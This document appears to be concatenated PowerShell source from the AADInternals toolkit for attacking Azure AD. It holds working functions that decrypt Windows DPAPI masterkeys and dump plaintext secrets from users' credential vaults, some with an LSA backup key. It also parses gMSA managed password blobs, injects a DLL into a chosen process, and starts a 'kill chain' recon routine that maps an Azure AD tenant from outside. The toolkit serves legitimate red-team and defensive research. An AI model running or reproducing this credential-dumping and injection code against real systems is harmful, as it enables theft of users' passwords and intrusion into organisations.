if($SIDs.Count -gt 1)
{
Throw "More than one credentials found, please provide SID"
}
else
{
$SID = $SIDs.Name
}
}
$keysPath += $SID
$fileNames=Get-ChildItem -Path $keysPath -Hidden | select -ExpandProperty Name
foreach($fileName in $fileNames)
{
$guid=$null
try
{
$guid=[guid]$fileName
}
catch{}
if($guid -ne $null)
{
Write-Verbose "Found masterkey file: $("$keysPath\$fileName")`n`n"
$binMasterKey = Get-BinaryContent "$keysPath\$fileName"
$mk = Parse-MasterkeyBlob -Data $binMasterKey
if($SystemKey) # Decrypt using SystemKey
{
if($mk.DomainKey)
{
$decKey = Decrypt-MasterkeyBlob -Systemkey $SystemKey -Data $mk.DomainKey
}
}
else
{
$decKey = Decrypt-MasterkeyBlob -Data $mk.MasterKey -Password $Password -SID $SID -Salt $mk.MasterKeySalt -Iterations $mk.MasterKeyIterations -Flags $mk.MasterKeyFlags
}
$retVal[$mk.MasterKeyGuid] = $decKey
}
}
return $retVal
}
}
# Parses the given masterkey blob
# Apr 25th 2020
function Parse-MasterkeyBlob
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse the header
$version = [System.BitConverter]::ToInt32($Data,0)
$guid = [guid][text.encoding]::Unicode.GetString($Data[12..83])
$flags = [System.BitConverter]::ToInt32($Data,92)
$mKeyLen = [System.BitConverter]::ToInt64($Data,96) # Master Key
$bKeyLen = [System.BitConverter]::ToInt64($Data,104) # Backup Key
$crHisLen = [System.BitConverter]::ToInt64($Data,112) # Credential History
$dKeyLen = [System.BitConverter]::ToInt64($Data,120) # Domain Key
Write-Verbose "Masterkey GUID: $guid"
Write-Verbose "Masterkey length: $mKeyLen"
Write-Verbose "Backupkey length: $bKeyLen"
Write-Verbose "CredHist length: $crHisLen"
Write-Verbose "Domainkey length: $dKeyLen`n`n"
# Set the position
$p = 128
# Parse Master key Blob
$mkVersion = [System.BitConverter]::ToInt32($Data,$p+0)
$mkSalt = $Data[$($p+4)..$($p+19)]
$mkRounds = [System.BitConverter]::ToInt32($Data,$p+20)
$mkHashAlg = [System.BitConverter]::ToInt32($Data,$p+24)
$mkCryptAlg = [System.BitConverter]::ToInt32($Data,$p+28)
$mkBytes = $Data[$($p+32)..$($p+$mKeyLen-1)]
Write-Verbose "MASTERKEY"
Write-Verbose "Salt: $(Convert-ByteArrayToHex -Bytes $mkSalt)"
Write-Verbose "Rounds: $mkRounds"
Write-Verbose "Hash Alg: $mkHashAlg $($ALGS[$mkHashAlg])"
Write-Verbose "Crypt Alg: $mkCryptAlg $($ALGS[$mkCryptAlg])"
Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $mkBytes)`n`n"
# Set the position
$p += $mKeyLen
# Parse Backup key Blob
$bkVersion = [System.BitConverter]::ToInt32($Data,$p+0)
$bkSalt = $Data[$($p+4)..$($p+19)]
$bkRounds = [System.BitConverter]::ToInt32($Data,$p+20)
$bkHashAlg = [System.BitConverter]::ToInt32($Data,$p+24)
$bkCryptAlg = [System.BitConverter]::ToInt32($Data,$p+28)
$bkBytes = $Data[$($p+32)..$($p+$bKeyLen-1)]
Write-Verbose "BACKUPKEY"
Write-Verbose "Salt: $(Convert-ByteArrayToHex -Bytes $bkSalt)"
Write-Verbose "Rounds: $bkRounds"
Write-Verbose "Hash Alg: $bkHashAlg $($ALGS[$bkHashAlg])"
Write-Verbose "Crypt Alg: $bkCryptAlg $($ALGS[$bkCryptAlg])"
Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $bkBytes)`n`n"
# Set the position
$p += $bKeyLen
# Parse credential history
if($crHisLen -gt 0)
{
$crVersion = [System.BitConverter]::ToInt32($Data,$p+0)
$crGuid = [guid][byte[]]($Data[$($p+4)..$($p+19)])
Write-Verbose "CREDENTIAL HISTORY"
Write-Verbose "Guid: $crGuid`n`n"
}
# Set the position
$p += $crHisLen
# There seems not to be domain key for domain admins?
if($p -lt $Data.Length)
{
# Parse Domain key Blob
$dkVersion = [System.BitConverter]::ToInt32($Data,$p+0)
$dkSecLen = [System.BitConverter]::ToInt32($Data,$p+4)
$dkAccLen= [System.BitConverter]::ToInt32($Data,$p+8)
$dkGuid = [guid][byte[]]($Data[$($p+12)..$($p+27)])
$dkBytes = $Data[$($p+28)..$($p+28+$dkSecLen-1)]
$dkAccBytes = $Data[$($p+28+$dkSecLen)..$($p+28+$dkSecLen+$dkAccLen-1)]
Write-Verbose "DOMAINKEY"
Write-Verbose "Guid: $dkGuid"
Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $dkBytes)"
Write-Verbose "Access Check:$(Convert-ByteArrayToHex -Bytes $dkAccBytes)`n`n"
}
# Create a return object
$attributes = [ordered]@{
"MasterKeyFlags" = $flags
"MasterKeyGuid" = $guid
"MasterKey" = $mkBytes
"MasterKeySalt" = $mkSalt
"MasterKeyIterations" = $mkRounds
"MasterKeyHashAlg" = $mkHashAlg
"MasterKeyCryptAlg" = $mkCryptAlg
"BackupKey" = $bkBytes
"BackupKeySalt" = $bkSalt
"BackupKeyIterations" = $bkRounds
"BackupKeyHashAlg" = $bkHashAlg
"BackupKeyCryptAlg" = $bkCryptAlg
"DomainKeyGuid" = $dkGuid
"DomainKey" = $dkBytes
"DomainKeyAC" = $dkAccBytes
"CredHistoryGuid" = $crGuid
}
return New-Object PSObject -Property $attributes
}
}
# Parses the given masterkey blob
# Apr 29th 2020
function Decrypt-MasterkeyBlob
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true, ParameterSetName="password")]
[byte[]]$Salt,
[Parameter(Mandatory=$true, ParameterSetName="password")]
[int]$Iterations,
[Parameter(Mandatory=$true, ParameterSetName="password")]
[String]$Password,
[Parameter(Mandatory=$true, ParameterSetName="password")]
[String]$SID,
[Parameter(Mandatory=$true, ParameterSetName="systemkey")]
[byte[]]$Systemkey,
[Parameter(Mandatory=$true, ParameterSetName="password")]
[String]$Flags,
[Parameter(Mandatory=$false)]
[bool]$Protected=$true
)
Begin
{
$sha = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
}
Process
{
if(!$SystemKey)
{
# Create the password hash
$md4 = [AADInternals.Native]::getHash(0x00008002 <#MD4#>,[text.encoding]::Unicode.GetBytes($Password))
Write-Verbose "Password hash (MD4): $(Convert-ByteArrayToHex -Bytes $md4)"
$sha1 = [AADInternals.Native]::getHash(0x00008004 <#SHA_1#>,[text.encoding]::Unicode.GetBytes($Password))
Write-Verbose "Password hash (SHA1): $(Convert-ByteArrayToHex -Bytes $sha1)"
if($flags -band 4)
{
# SHA1
$pwdHash = $sha1
}
else
{
# MD4
$pwdHash = $md4
}
# If the account is protected, we need to get a new hash
if($Protected)
{
# Convert SID to wide byte array
$SIDbin = [text.encoding]::Unicode.getBytes($SID)
$pwdHash = [AADInternals.Native]::getPBKDF2(0x0000800c <#SHA_256#>, $pwdHash, $SIDbin, 10000, 32)
$pwdHash = [AADInternals.Native]::getPBKDF2(0x0000800c <#SHA_256#>, $pwdHash, $SIDbin, 1, 16)
}
Write-Verbose "Final user hash: $(Convert-ByteArrayToHex -Bytes $pwdHash)"
# Derive the key from the password hash and SID
$derivedKey = [AADInternals.Native]::getHMAC(0x00008004 <#SHA_1#>,$pwdHash,[byte[]]($SIDbin+0+0)) # SID needs null terminators ♥ MS
Write-Verbose "Derived key: $(Convert-ByteArrayToHex -Bytes $derivedKey)`n`n"
# Decode the masterkey using the derived key
try
{
$decMasterKey = [AADInternals.Native]::getMasterkey($derivedKey, $Data, $Salt, $Iterations)
}
catch
{
return $null
} # Okay(ish)
}
else
{
# Decode the masterkey using the provided System Key
$decMasterKey = [AADInternals.Native]::getMasterkey($SystemKey,$Data)
}
Write-Verbose "Decrypted masterkey: $(Convert-ByteArrayToHex -Bytes $decMasterKey)`n`n"
return $decMasterKey
}
}
# Gets the given user's credentials from the vault
# Apr 28th 2020
function Get-LocalUserCredentials
{
<#
.SYNOPSIS
Gets user's credentials from the local credential vault
.DESCRIPTION
Gets user's credentials from the local credential vault and decrypts them using the given masterkeys hashtable
.Example
Get-AADIntLocalUserCredentials -UserName user -MasterKeys $master_keys
Target : LegacyGeneric:target=msTeams_autologon.microsoftazuread-sso.com:443/[email protected]
Persistance : local_machine
Edited : 26/03/2020 10.12.11
Alias :
Comment :
UserName :
Secret : {97, 115, 100, 102...}
SecretTxt : 獡晤晤
SecretTxtUtf8 : asdfdf
Attributes : {}
.Example
$lsabk_keys=Get-AADIntLSABackupKeys
PS C:\>$rsa_key=$lsabk_keys | where name -eq RSA
PS C:\>$user_masterkeys=Get-AADIntUserMasterkeys -UserName "myuser" -SID "S-1-5-xxxx" -SystemKey $rsa_key.key
PS C:\>Get-AADIntLocalUserCredentials -UserName "myuser" -MasterKeys $user_masterkeys
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[String]$UserName,
[Parameter(Mandatory=$false)]
[System.Collections.Hashtable]$MasterKeys,
[Parameter(Mandatory=$false)]
[String]$UsersFolder="C:\Users",
[Parameter(Mandatory=$false)]
[byte[]]$Entropy,
[Parameter(Mandatory=$false)]
[ValidateSet("LocalMachine","CurrentUser")]
[string]$Scope = 'LocalMachine'
)
Process
{
$retVal=@()
# Strip the domain part
$s = $UserName.IndexOf("\")
if($s -gt 0)
{
$UserName = $UserName.Substring($s+1)
}
$localPath = "$UsersFolder\$userName\AppData\Local\Microsoft\Credentials"
$roamingPath = "$UsersFolder\$userName\AppData\Roaming\Microsoft\Credentials"
$localNames = Get-ChildItem -Path $localPath -Hidden | select -ExpandProperty Name
$roamingNames = Get-ChildItem -Path $roamingPath -Hidden | select -ExpandProperty Name
# Get the local credentials
foreach($fileName in $localNames)
{
try
{
Write-Verbose "Found credentials file: $("$localPath\$fileName")`n`n"
$binCredentials = Get-BinaryContent "$localPath\$fileName"
$retVal += Parse-CredentialsBlob -Data $binCredentials -MasterKeys $MasterKeys -Entropy $Entropy -Scope $Scope
}
catch
{} #Okay
}
# Get the roaming credentials
foreach($fileName in $roamingNames)
{
try
{
Write-Verbose "Found credentials file: $("$roamingPath\$fileName")`n`n"
$binCredentials = Get-BinaryContent "$roamingPath\$fileName"
$retVal += Parse-CredentialsBlob -Data $binCredentials -MasterKeys $MasterKeys
}
catch
{} #Okay
}
return $retVal
}
}
# Parses the given credentials blob with
# Apr 28th 2020
function Parse-CredentialsBlob
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$false)]
[System.Collections.Hashtable]$MasterKeys,
[Parameter(Mandatory=$false)]
[byte[]]$Entropy,
[Parameter(Mandatory=$false)]
[ValidateSet("LocalMachine","CurrentUser")]
[string]$Scope = 'LocalMachine'
)
Begin
{
$persistenceTxt = @("none", "session", "local_machine", "enterprise")
Add-Type -AssemblyName System.Security
}
Process
{
# Parse and the DPAPI blob
$DPAPIBlob = Parse-DPAPIBlob -Data $Data[12..$($data.Length)]
if($MasterKeys)
{
# Get the masterkey guid from DPAPI blob
$mkGuid = $DPAPIBlob.MasterKeyGuid
# Get the correct masterkey
$masterKey = $MasterKeys[$mkGuid]
if(!$masterKey)
{
throw "DPAPI masterkey $mkGuid not found!"
}
# Decrypt the credentials blob
$cBlob = Decrypt-DPAPIBlob -Data $DPAPIBlob.EncryptedData -MasterKey $masterKey -Salt $DPAPIBlob.Salt
if($cBlob)
{
Write-Verbose "Decrypted Data: $(Convert-ByteArrayToHex -Bytes $cBlob)`n`n"
#
# Parse the credentials blob
$p=0
$crFlags = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$crSize = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$crUnk0 = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$type = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$flags = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$Time = [datetime]::FromFileTimeUtc([System.BitConverter]::ToInt64($cBlob,$p));$p+=8
$unk0 = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$persist = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$atCount = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$unk1 = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$unk2 = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$tgLen = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$target = ([text.encoding]::Unicode.GetString($cBlob[$p..$($p+$tgLen-1)])).trim(@(0x00,0x0a,0x0d)); $p+=$tgLen
$alLen = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$alias = ([text.encoding]::Unicode.GetString($cBlob[$p..$($p+$alLen-1)])).trim(@(0x00,0x0a,0x0d)); $p+=$alLen
$cmLen = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$comment = ([text.encoding]::Unicode.GetString($cBlob[$p..$($p+$cmLen-1)])).trim(@(0x00,0x0a,0x0d)); $p+=$cmLen
$ukLen = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$unkData = ([text.encoding]::Unicode.GetString($cBlob[$p..$($p+$ukLen-1)])).trim(@(0x00,0x0a,0x0d)); $p+=$ukLen
$usLen = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$userName = ([text.encoding]::Unicode.GetString($cBlob[$p..$($p+$usLen-1)])).trim(@(0x00,0x0a,0x0d)); $p+=$usLen
$cbLen = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$crData = [byte[]]$cBlob[$p..($p+$cbLen-1)];$p+=$cbLen
$crDataTxt = [text.encoding]::Unicode.GetString($crData).trim(@(0x00,0x0a,0x0d))
$crDataTxtUtf8 = [text.encoding]::UTF8.GetString($crData).trim(@(0x00,0x0a,0x0d))
$crAttrs=@{}
for($a = 0 ; $a -lt $atCount)
{
$atFlag = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$kwLen = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$keyWord = ([text.encoding]::Unicode.GetString($cBlob[$p..$($p+$kwLen-1)])).trim(@(0x00,0x0a,0x0d)); $p+=$kwLen
$vaLen = [System.BitConverter]::ToInt32($cBlob,$p);$p+=4
$value = ([text.encoding]::Unicode.GetString($cBlob[$p..$($p+$vaLen-1)])).trim(@(0x00,0x0a,0x0d)); $p+=$vaLen
$crAttrs[$keyWord]=$value
}
Write-Verbose "***CREDENTIALS BLOB***"
Write-Verbose "Target: $target"
Write-Verbose "Last Written: $time"
Write-Verbose "Persistence: $($persistenceTxt[$persist])"
Write-Verbose "Alias: $alias"
Write-Verbose "Comment: $comment"
Write-Verbose "User name: $userName"
Write-Verbose "Secret: $(Convert-ByteArrayToHex -Bytes $crData)"
Write-Verbose "SecretTxt: $crDataTxt"
Write-Verbose "SecretTxtUtf8: $crDataTxtUtf8"
Write-Verbose "Attributes: $crAttrs`n`n`n"
# Create a return object
$attributes = [ordered]@{
"Target" = $target
"Persistance" = $persistenceTxt[$persist]
"Edited" = $time
"Alias" = $alias
"Comment" = $comment
"UserName" = $userName
"Secret" = $crData
"SecretTxt" = $crDataTxt
"SecretTxtUtf8" = $crDataTxtUtf8
"Attributes" = $crAttrs
}
return New-Object PSObject -Property $attributes
}
else
{
Write-Error "Could not decrypt the DPAPI blob."
return $null
}
}
else
{
[Security.Cryptography.ProtectedData]::Unprotect($DPAPIBlob,$Entropy,$Scope)
}
}
}
# Parses the given DPAPI blob
# Apr 28th 2020
function Parse-DPAPIBlob
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse the DPAPIBlob
$p=0
$version = [System.BitConverter]::ToInt32($Data,0);$p+=4
$provGuid = [guid][byte[]]$Data[$p..($p+15)];$p+=16
$mkVersion = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$mkGuid = [guid][byte[]]$Data[$p..($p+15)];$p+=16
$flags = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$dscLen = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$description = ([text.encoding]::Unicode.GetString($Data[$p..$($p+$dscLen-1)])).trim(@(0x00,0x0a,0x0d)); $p+=$dscLen
$algCrypt = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$algCryptLen = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$saltLen = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$salt = $Data[$p..($p+$saltLen-1)];$p+=$saltLen
$hmacKeyLen = [System.BitConverter]::ToInt32($Data,$p);$p+=4
if($hmacKeyLen -gt 0) {$hmacKey = $Data[$p..($p+$hmacKeyLen-1)];$p+=$hmacKeyLen }
$algHash = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$algHashLen = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$hmac2KeyLen = [System.BitConverter]::ToInt32($Data,$p);$p+=4
if($hmac2KeyLen -gt 0) {$hmac2Key = $Data[$p..($p+$hmac2KeyLen-1)];$p+=$hmac2KeyLen}
$encDataLen = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$encData = $Data[$p..($p+$encDataLen-1)];$p+=$encDataLen
$signLen = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$signature = $Data[$p..($p+$signLen-1)]
Write-Verbose "***DPAPIBLOB***"
Write-Verbose "Provider GUID: $provGuid"
Write-Verbose "Masterkey GUID: $mkGuid"
Write-Verbose "Description: $description"
Write-Verbose "Hash Alg: $algHash $($ALGS[$algHash])"
Write-Verbose "Crypt Alg: $algCrypt $($ALGS[$algCrypt])"
if($hmacKey) { Write-Verbose "HMAC key: $(Convert-ByteArrayToHex -Bytes $hmacKey)"}
if($hmac2Key) { Write-Verbose "HMAC key2: $(Convert-ByteArrayToHex -Bytes $hmac2Key)"}
Write-Verbose "Salt: $(Convert-ByteArrayToHex -Bytes $salt)"
Write-Verbose "Encrypted Data: $(Convert-ByteArrayToHex -Bytes $encData)"
Write-Verbose "Signature: $(Convert-ByteArrayToHex -Bytes $signature)`n`n"
# Create a return object
$attributes = [ordered]@{
"ProviderGuid" = $provGuid
"MasterKeyGuid" = $mkGuid
"Description" = $description
"HashAlg" = $algHash
"CryptAlg" = $algCrypt
"Salt" = $salt
"EncryptedData" = $encData
"Signature" = $signature
"HMACKey" = $hmacKey
"HMACKey2" = $hmac2Key
}
return New-Object PSObject -Property $attributes
}
}
# Decrypts the DPAPI secret using the given masterkey and salt
# Apr 29th 2020
function Decrypt-DPAPIBlob
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[byte[]]$MasterKey,
[Parameter(Mandatory=$true)]
[byte[]]$Salt
)
Process
{
# Decrypt the DPAPI blob with the given masterkey and salt
$decData = [AADInternals.Native]::getDPAPIBlob($MasterKey,$Data,$salt)
return $decData
}
}
# Gets the system masterkeys
# Apr 29th 2020
function Get-SystemMasterkeys
{
<#
.SYNOPSIS
Gets local system master keys
.DESCRIPTION
Gets local system master keys with the givne system backup key (LSA backup key)
$lsabk_keys=Get-AADIntLSABackupKeys
PS C:\>$rsa_key=$lsabk_keys | where name -eq RSA
PS C:\>Get-AADIntSystemMasterkeys -SystemKey $rsa_key.key
Name Value
---- -----
ec3c7e8e-fb06-43ad-b382-8c5... {236, 60, 126, 142...}
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$SystemKey
)
Process
{
$keysPath="$env:windir\System32\Microsoft\Protect\S-1-5-18"
# Get the preferred masterkey guid
$preferredFile = Get-BinaryContent "$keysPath\Preferred"
$masterKeyGuid = ([guid][byte[]]$preferredFile[0..15]).ToString()
$TimeStamp = [datetime]::FromFileTimeUtc([System.BitConverter]::ToInt64($preferredFile,16))
Write-Verbose "Preferred key: $masterKeyGuid, valid until: $TimeStamp"
# Get the preferred masterkey
$fileName = "$keysPath\$($masterKeyGuid.ToString())"
Write-Verbose "Opening masterkey file: $fileName`n`n"
$binMasterKey = Get-BinaryContent $fileName
# Parse the masterkey blob
$mk = Parse-MasterkeyBlob -Data $binMasterKey
$decKey = Decrypt-MasterkeyBlob -Systemkey $systemKey -Data $mk.DomainKey
$retVal = @{$mk.MasterKeyGuid = $decKey}
return $retVal
}
}
# Parse ManagedPassword blob
# Aug 23rd 2022
function Parse-ManagedPasswordBlob
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$PasswordBlob
)
Process
{
$properties = [ordered]@{}
$p = 0
# Get version
$version = [System.BitConverter]::ToInt32($PasswordBlob,$p); $p += 4
if($version -ne 1)
{
Write-Error "Invalid version: $version, was expecting 1"
return $null
}
# Get blob size
$blobSize = [System.BitConverter]::ToInt32($PasswordBlob,$p); $p += 4
if($blobSize -ne $PasswordBlob.Length)
{
# Blob may have null byte padding - then okay!
if($PasswordBlob.Length % 16 -ne 0)
{
Write-Warning "ManagedPasswordBlob length $($PasswordBlob.Length) bytes, was expecting $blobSize"
}
}
# Get the current password
$curPwdOffset = [System.BitConverter]::ToInt16($PasswordBlob,$p); $p += 2
if($curPwdOffset -eq 0)
{
Write-Error "Invalid current password offset: 0"
return $null
}
else
{
$properties["CurrentPassword"] = $PasswordBlob[$curPwdOffset..$($curPwdOffset+255)]
}
# Get the previous password
$prevPwdOffset = [System.BitConverter]::ToInt16($PasswordBlob,$p); $p += 2
if($prevPwdOffset -ne 0)
{
$properties["PreviousPassword"] = $PasswordBlob[$prevPwdOffset..$($prevPwdOffset+255)]
}
# Get the QueryPasswordInterval
$queryPwdIntervalOffset = [System.BitConverter]::ToInt16($PasswordBlob,$p); $p += 2
$properties["QueryPasswordInterval"] = [timespan]::FromTicks([System.BitConverter]::ToInt64($PasswordBlob,$queryPwdIntervalOffset))
# Get the UnchangedPasswordInterval
$unchangedPwdIntervalOffset = [System.BitConverter]::ToInt16($PasswordBlob,$p);
$properties["UnchangedPasswordInterval"] = [timespan]::FromTicks([System.BitConverter]::ToInt64($PasswordBlob,$unchangedPwdIntervalOffset))
return New-Object psobject -Property $properties
}
}
# Returns the GMSA secret name for the given username
# Aug 28th 2022
function Get-GMSASecretName
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true,ValueFromPipeline)]
[String]$AccountName,
[Parameter(Mandatory=$False)]
[String]$DomainName,
[Parameter(Mandatory=$False)]
[ValidateSet("GMSA","DPAPI")]
[String]$Type="GMSA"
)
Process
{
# Get the domain name from registry & wmic if not provided
if([string]::IsNullOrEmpty($DomainName))
{
$DomainName = Get-ComputerDomainName -NetBIOS
}
# Strip the dollar sign if present
if($AccountName.EndsWith('$'))
{
$AccountName = $AccountName.SubString(0,$AccountName.Length - 1)
}
# Concatenate domain and account name + make upper case
$GMSAAccountName = "$DomainName$AccountName".ToUpper()
Write-Verbose "Calculating GMSA name for $GMSAAccountName"
# Get the SHA256 hash with HMAC flag. Microsoft <3
$binAccountName = [text.encoding]::Unicode.getBytes($GMSAAccountName)
Write-Debug "Encoded account name: $(Convert-ByteArrayToHex $binAccountName)"
$binHash = [AADInternals.Native]::GetSHA256withHMACFlag($binAccountName)
if(!$binHash)
{
throw "Unable to get SHA256 hash with HMAC flag for $GMSAAccountName"
}
Write-Debug "Hash1: $(Convert-ByteArrayToHex $binHash)"
# The hex string is calculated by switching the hi/low bits of each byte. Microsoft <3
$hexLetters = "0123456789abcdef"
$strHash=""
$pos = 0
do{
$strHash += $hexLetters[($binHash[$pos] -band 0x0f)]
$strHash += $hexLetters[($binHash[$pos] -shr 0x04)]
$pos+=1
}while($pos -lt $binHash.Length)
Write-Debug "Hash2: $strHash"
# Prefix is hard coded
$preFix=""
if($Type -eq "GMSA")
{
$preFix = "_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_"
}
else
{
$preFix = "_SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_"
}
$GMSASecretName = "$preFix$strHash"
Write-Verbose "GMSA secret name for $($GMSAAccountName): $GMSASecretName"
# Return
return $GMSASecretName
}
}
|
ProcessTools.ps1 | AADInternals-0.9.4 | # Process utils
# May 20th 2019
function Execute-Process
{
<#
.SYNOPSIS
Executes a given executable, batch, etc. in a new process and returns its stdout.
.DESCRIPTION
Executes a given executable, batch, etc. in a new process and returns its stdout.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$FileName,
[Parameter(Mandatory=$True)]
[String]$Arguments
)
Process
{
# Create ProcessStartInfo
$info = New-Object System.Diagnostics.ProcessStartInfo
$info.FileName = $FileName
$info.Arguments = $Arguments
$info.CreateNoWindow = $true
$info.RedirectStandardOutput = $true
$info.UseShellExecute = $false
# Create a new process and execute it
$ps = New-Object System.Diagnostics.Process
$ps.StartInfo = $info
$ps.Start() | Out-Null
$ps.WaitForExit()
# Get the output and return it
$stdout = $ps.StandardOutput.ReadToEnd()
return $stdout
}
}
# May 20th 2019
function Inject-DLL
{
<#
.SYNOPSIS
Injects a given DLL to the given process
.DESCRIPTION
Injects a given DLL to the given process.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$ProcessID,
[Parameter(Mandatory=$True)]
[String]$FileName,
[Parameter(Mandatory=$False)]
[String]$Function
)
Process
{
$InjectDLL = "$PSScriptRoot\InjectDLL.exe"
$arguments = "$ProcessID `"$Filename`""
if(![string]::IsNullOrEmpty($function))
{
$arguments += " $function"
}
Write-Verbose "Invoking: $InjectDLL $arguments"
Execute-Process -FileName $InjectDLL -Arguments $arguments
}
}
# May 20th 2019
Function Get-ShortName {
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$FileName
)
Process
{
$ScriptingFSO = New-Object -ComObject Scripting.FileSystemObject
return $ScriptingFSO.GetFile($($FileName)).ShortPath
}
} |
KillChain.ps1 | AADInternals-0.9.4 | #
# This file contains functions for Azure AD / Office 365 kill chain
#
# Invokes information gathering as an outsider
# Jun 16th 2020
function Invoke-ReconAsOutsider
{
<#
.SYNOPSIS
Starts tenant recon of the given domain.
.DESCRIPTION
Starts tenant recon of the given domain. Gets all verified domains of the tenant and extracts information such as their type.
Also checks whether Desktop SSO (aka Seamless SSO) is enabled for the tenant.
DNS: Does the DNS record exists?
MX: Does the MX point to Office 365?
SPF: Does the SPF contain Exchange Online?
Type: Federated or Managed
DMARC: Is the DMARC record configured?
DKIM: Is the DKIM record configured?
MTA-STS: Is the MTA-STS record configured?
STS: The FQDN of the federated IdP's (Identity Provider) STS (Security Token Service) server
RPS: Relaying parties of STS (AD FS)
.Parameter DomainName
Any domain name of the Azure AD tenant.
.Parameter Single
If the switch is used, doesn't get other domains of the tenant.
.Parameter GetRelayingParties
Tries to get relaying parties from STS. Returned if STS is AD FS and idpinitiatedsignon.aspx is enabled.
.Example
Invoke-AADIntReconAsOutsider -Domain company.com | Format-Table
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
Tenant region: NA
DesktopSSO enabled: False
MDI instance: company.atp.azure.com
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
---- --- -- --- ----- ---- ------- ---- ---
company.com True True True True True True Federated sts.company.com
company.mail.onmicrosoft.com True True True True True False Managed
company.onmicrosoft.com True True True False True False Managed
int.company.com False False False False True False Managed
.Example
Invoke-AADIntReconAsOutsider -Domain company.com -GetRelayingParties | Format-Table
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
Tenant region: NA
Uses cloud sync: True
DesktopSSO enabled: False
MDI instance: company.atp.azure.com
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
---- --- -- --- ----- ---- ------- ---- ---
company.com True True True True True True Federated sts.company.com
company.mail.onmicrosoft.com True True True True True False Managed
company.onmicrosoft.com True True True False True False Managed
int.company.com False False False False True False Managed
.Example
Invoke-AADIntReconAsOutsider -UserName [email protected] | Format-Table
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
Tenant region: NA
DesktopSSO enabled: False
MDI instance: company.atp.azure.com
Uses cloud sync: True
CBA enabled: True
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
---- --- -- --- ----- ---- ------- ---- ---
company.com True True True True True True Federated sts.company.com
company.mail.onmicrosoft.com True True True True True False Managed
company.onmicrosoft.com True True True False True False Managed
int.company.com False False False False True False Managed
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="domain",Mandatory=$True)]
[String]$DomainName,
[Parameter(ParameterSetName="user",Mandatory=$True)]
[String]$UserName,
[Switch]$Single,
[Switch]$GetRelayingParties
)
Process
{
if([string]::IsNullOrEmpty($DomainName))
{
$DomainName = $UserName.Split("@")[1]
Write-Verbose "Checking CBA status."
$tenantCBA = HasCBA -UserName $UserName
}
Write-Verbose "Checking if the domain $DomainName is registered to Azure AD"
$tenantId = Get-TenantID -Domain $DomainName
if([string]::IsNullOrEmpty($tenantId))
{
throw "Domain $DomainName is not registered to Azure AD"
}
$openIDConfiguration = Get-OpenIDConfiguration -Domain $DomainName
$tenantName = ""
$tenantBrand = ""
$tenantRegion = $openIDConfiguration.tenant_region_scope
$tenantSubscope = Get-TenantSubscope -OpenIDConfiguration $openIDConfiguration
$tenantSSO = ""
Write-Verbose "`n*`n* EXAMINING TENANT $tenantId`n*"
Write-Verbose "Getting domains.."
$domains = Get-TenantDomains -Domain $DomainName -SubScope $tenantSubscope
Write-Verbose "Found $($domains.count) domains!"
# Create an empty list
$domainInformation = @()
# Counter
$c=1
# Loop through the domains
foreach($domain in $domains)
{
# Define variables
$exists = $false
$hasCloudMX = $false
$hasCloudSPF = $false
$hasCloudDKIM = $false
$hasCloudMTASTS = $false
if(-not $Single)
{
